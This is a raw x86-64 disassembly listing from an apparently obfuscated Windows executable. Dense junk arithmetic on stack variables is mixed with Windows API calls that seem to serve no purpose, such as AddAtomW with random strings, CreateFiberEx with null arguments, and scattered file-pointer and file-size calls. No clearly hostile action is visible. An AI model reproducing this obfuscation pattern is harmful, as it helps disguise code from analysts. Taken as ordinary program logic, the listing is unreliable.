mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x106f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x106f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10588], rax
movzx eax, word [rsp + 0x11b0]
movzx ecx, word [rsp + 0x11a8]
and eax, ecx
mov word [rsp + 0x27b8], ax
movsx eax, word [rsp + 0x112c]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14023c378], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x106b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10640], rax
movzx eax, byte [rsp + 0x50f]
movzx ecx, byte [rsp + 0x510]
add eax, ecx
mov rcx, qword [rsp + 0x106b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb8]
sub eax, ecx
mov rcx, qword [rsp + 0x10648]
mov word [rcx], ax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x777c], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10588]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x6a58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f0], eax
movsx eax, byte [rsp + 0xd9]
movsx ecx, byte [rsp + 0x413]
sub eax, ecx
mov byte [rsp + 0x4ef], al
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x405], al
movsx eax, word [rsp + 0x27ec]
movsx ecx, word [rsp + 0x27d8]
xor eax, ecx
mov word [0x1402815c2], ax
mov dword [rsp + 0x27110], 0x11c
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11b0], ax
lea rdx, [rsp + 0x104d0]
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f70], eax
mov eax, dword [rsp + 0x7f14]
add eax, 6
mov dword [rsp + 0x7f14], eax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10640]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [0x14023c380]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10670], rax
jmp 0x14001ac91
mov rax, qword [rsp + 0x106c8]
mov rcx, qword [rsp + 0x10698]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1b0], rax
movsx eax, word [rsp + 0x27ec]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x112c]
add ecx, edx
cmp eax, ecx
jle 0x14001b29b
mov eax, dword [rsp + 0x7f38]
mov ecx, dword [rsp + 0x8024]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f0], eax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x7f3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x10650]
mov dword [rcx], eax
movsx eax, word [rsp + 0x27dc]
movsx ecx, word [rsp + 0x27ec]
sub eax, ecx
mov word [rsp + 0x27fc], ax
mov r8, qword [rsp + 0x10700]
mov edx, reloc.COMCTL32.dll_LBItemFromPt
mov ecx, 0xfc
call qword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov dword [rsp + 0x7ff8], eax
movzx eax, byte [rsp + 0x50d]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfe], al
movzx eax, word [rsp + 0x27cc]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c39c], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10578]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x106b8]
mov rcx, qword [rsp + 0x10678]
mov qword [rsp + 0x10708], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10708]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10640], rax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x112c], ax
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_ExitThread]
movzx eax, byte [rsp + 0x50d]
movzx ecx, byte [rsp + 0x510]
add eax, ecx
mov rcx, qword [rsp + 0x106b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x27fc]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c3a4], ax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27d0]
add eax, ecx
mov word [rsp + 0x11b0], ax
mov dword [rsp + 0x8030], 0xc6cf
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov dword [rsp + 0x8034], eax
cmp dword [rsp + 0x8034], 0x2ca
je 0x14001b356
cmp dword [rsp + 0x8034], 0xebf
je 0x14001b329
jmp 0x14001b3b5
mov r9d, 0x6c
lea r8, [rsp + 0x27d8]
mov rdx, qword [rsp + 0x10710]
mov rcx, qword [rsp + 0x10568]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x7f48], eax
jmp 0x14001b3b5
mov rax, qword [rsp + 0x10528]
mov r9, qword [rax]
mov rax, qword [rsp + 0x10650]
mov r8d, dword [rax]
mov rdx, qword [rsp + 0xda68]
mov ecx, dword [rsp + 0x7fec]
call fcn.1401f2130
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [0x1402815b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27cc], ax
movzx eax, byte [rsp + 0x50d]
movzx ecx, byte [rsp + 0x2fc]
sub eax, ecx
mov byte [rsp + 0x511], al
mov rax, qword [rsp + 0x106c8]
mov qword [rsp + 0x10718], rax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x8020]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x777c], eax
lea rax, [rsp + 0x7f00]
mov qword [rsp + 0x10720], rax
movzx eax, word [rsp + 0x112c]
mov word [rsp + 0x2800], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x27b4], ax
lea rax, [rsp + 0xfe]
mov qword [0x140281590], rax
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f2c], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10670], rax
movzx eax, byte [rsp + 0x405]
movzx ecx, byte [rsp + 0xfe]
shl eax, cl
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
mov dword [rsp + 0x8038], ecx
movzx edx, byte [rsp + 0x510]
movzx ecx, dl
mov edx, dword [rsp + 0x8038]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14001b581
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [0x1402815a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27b4]
sub eax, ecx
mov word [rsp + 0x11a8], ax
lea rax, [rsp + 0x10710]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x803c]
mov r8d, 0x1b
mov dx, 0xf0
mov rcx, qword [rsp + 0x10598]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0x10578]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov r8, qword [rsp + 0xd1b0]
mov rdx, qword [rsp + 0x104b8]
mov rax, qword [rsp + 0x10518]
movzx ecx, word [rax]
call fcn.1401f2340
cmp dword [rsp + 0x8028], 0xe04d
jb 0x14001b6de
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
mov eax, dword [rsp + 0x8020]
mov ecx, dword [rsp + 0x7ddc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x777c], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x78c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10720]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2800]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c3a4], ax
mov r9d, 1
lea r8, [rsp + 0x104e0]
mov rdx, qword [rsp + 0x104d0]
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x8004], eax
mov eax, dword [rsp + 0x8028]
sub eax, 0x5e
mov dword [rsp + 0x8028], eax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [0x14023c03a]
add eax, ecx
mov rcx, qword [rsp + 0x106b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27d8]
sub eax, ecx
mov word [rsp + 0x27ec], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x8044], eax
movzx eax, byte [rsp + 0x2fc]
movzx ecx, byte [rsp + 0x511]
add eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
add eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x7f3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8014], eax
jmp 0x14001b581
mov r9d, 1
xor r8d, r8d
mov edx, 0xa6fe
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f08], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [0x14023c394]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7368], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd9]
xor eax, ecx
movsx ecx, byte [rsp + 0x50e]
mov dword [rsp + 0x8048], ecx
movsx edx, byte [rsp + 0xce]
movzx ecx, dl
mov edx, dword [rsp + 0x8048]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14001b865
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x10728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10728]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x104a0], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov qword [rsp + 0x10730], rax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14023c39c], ax
movzx eax, byte [rsp + 0x50d]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x511], al
mov rax, qword [0x1402815c8]
movzx eax, byte [rax]
mov byte [rsp + 0x804c], al
cmp byte [rsp + 0x804c], 0
je 0x14001b823
cmp byte [rsp + 0x804c], 0x14
je 0x14001b801
jmp 0x14001b865
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x165c], ax
jmp 0x14001b865
movzx eax, byte [rsp + 0x4ef]
mov byte [rsp + 0x512], al
lea rcx, str.gTNBaTO_LsFDw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27f8], ax
mov rax, qword [rsp + 0x10640]
mov rcx, qword [rsp + 0x106b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10548], rax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov dword [rsp + 0x8050], eax
mov dword [rsp + 0x8054], 0xdfe3
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x800c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8020], eax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2084], ax
cmp dword [rsp + 0x7fbc], 0x5ab0
ja 0x14001bce8
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
add eax, ecx
mov word [0x14023c39c], ax
movzx eax, byte [rsp + 0x50d]
movzx ecx, byte [rsp + 0x405]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd720]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
mov edx, 0x253e3a
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x7f34], eax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10508]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x8058], eax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
movzx ecx, word [0x1402815d0]
sar eax, cl
mov word [rsp + 0x11b0], ax
mov eax, dword [rsp + 0x7f88]
mov ecx, dword [rsp + 0x78c0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7ddc]
shl eax, cl
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10718]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10588], rax
movsx eax, word [rsp + 0x2800]
movsx ecx, word [rsp + 0x27fc]
sub eax, ecx
mov word [rsp + 0x27ec], ax
movzx eax, byte [0x14023c03a]
movzx ecx, byte [rsp + 0x2fc]
sub eax, ecx
mov rcx, qword [0x140281590]
mov byte [rcx], al
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x106a8]
mov qword [rcx], rax
lea rcx, str.Xoax3q_iQmSMzg_HD.Mt3LvNJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27f4], ax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x26db0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x7f70], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
add eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x10658]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rdx, [rsp + 0x10738]
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f24], eax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27d4]
sub eax, ecx
mov word [rsp + 0x27fc], ax
mov eax, dword [rsp + 0x800c]
mov ecx, dword [rsp + 0x7fec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8014], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x104c0], rax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0xd1b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x105e8], rax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f38], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x724
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f1c], eax
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [rsp + 0x50f]
or eax, ecx
mov rcx, qword [rsp + 0x106b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [0x14023c3a0]
sar eax, cl
mov rcx, qword [0x140281598]
mov word [rcx], ax
mov eax, dword [rsp + 0x7fbc]
add eax, 0xe9
mov dword [rsp + 0x7fbc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movsx eax, word [rsp + 0x27fc]
movsx ecx, word [rsp + 0x27d4]
shl eax, cl
mov word [rsp + 0x27dc], ax
mov rcx, qword [rsp + 0x106a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7f28], eax
movzx eax, byte [rsp + 0x2fc]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10640], rax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x106b8], rax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f3c], eax
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x10500]
mov rcx, qword [rsp + 0x10718]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x106c8], rax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7f88]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x78c0], eax
jmp 0x14001b8d9
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27b8], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14023c03a], al
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
add eax, ecx
mov byte [rsp + 0xd9], al
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [0x14023c378]
sub eax, ecx
mov word [rsp + 0x27c0], ax
mov rax, qword [rsp + 0x104a8]
mov rcx, qword [rsp + 0x104b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10730], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x106b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [0x14023c370]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0x10608]
mov rcx, qword [rsp + 0x10650]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x800c], eax
mov eax, dword [0x14023c394]
movzx ecx, al
mov eax, dword [rsp + 0x6a58]
shl eax, cl
mov rcx, qword [rsp + 0x10720]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0x104d0]
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x805c], eax
movsx eax, word [rsp + 0x27d4]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27dc], ax
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c39c], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10508], rax
movsx eax, word [rsp + 0x2084]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2800], ax
movzx eax, byte [0x1402815a0]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2fc], al
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b8]
add eax, ecx
mov word [rsp + 0x27b4], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x26ff0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x7f30], eax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [0x14023c390]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x777c], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10548], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x681b
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f94], eax
mov eax, dword [rsp + 0x7f68]
sub eax, 0x84
mov dword [rsp + 0x7f68], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x68f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x78c0], eax
mov edx, 0x51d7f4
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8060], eax
movsx eax, byte [0x14023c038]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x512], al
movsx eax, word [rsp + 0x27d8]
movsx ecx, word [rsp + 0x27ec]
xor eax, ecx
mov word [rsp + 0x1eb8], ax
movzx eax, byte [rsp + 0x48d]
movzx ecx, byte [0x1402815c0]
shl eax, cl
mov byte [0x14023c03a], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa037
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f08], eax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x27b4], ax
cmp dword [rsp + 0x7f68], 0x73d7
jae 0x14001bd08
mov rax, qword [0x1402815a8]
mov rcx, qword [rsp + 0x10578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10640], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov qword [rsp + 0x10740], rax
mov rax, qword [rsp + 0x10608]
mov rcx, qword [rsp + 0x10650]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7fd8], eax
mov eax, dword [rsp + 0x7f64]
sub eax, 7
mov dword [rsp + 0x7f64], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [0x14023c370]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x105e8], rax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10720]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f90], eax
movsx eax, word [rsp + 0x2800]
movsx ecx, word [rsp + 0x112c]
sub eax, ecx
mov word [rsp + 0x2084], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1716
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x510]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27b4]
sub eax, ecx
mov rcx, qword [0x140281598]
mov word [rcx], ax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [0x14023c380]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov rax, qword [rsp + 0x106b8]
mov rcx, qword [rsp + 0x104a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
movzx eax, byte [rsp + 0x2fc]
movzx ecx, byte [0x14023c03a]
and eax, ecx
mov rcx, qword [rsp + 0x105d0]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0x104d0]
mov rdx, qword [rsp + 0x10748]
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x802c], eax
mov eax, dword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x68f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8024], eax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x7ddc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x800c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x104f8], rax
movsx eax, byte [0x14023c038]
movsx ecx, byte [rsp + 0x4ef]
shl eax, cl
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x10588]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x10750], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10750]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [0x14023c378]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
movzx eax, byte [rsp + 0x48d]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140281590]
mov byte [rcx], al
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x510], al
mov rax, qword [0x1402815b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
add eax, ecx
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27b4], ax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x68f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x105e8], rax
cmp dword [rsp + 0x7f64], 0x423b
ja 0x14001c06d
movzx ecx, word [rsp + 0x27f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27f8], ax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x10758], rax
movsx eax, word [rsp + 0x27dc]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x2084]
mov rdx, qword [rsp + 0x10648]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14001c4b5
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
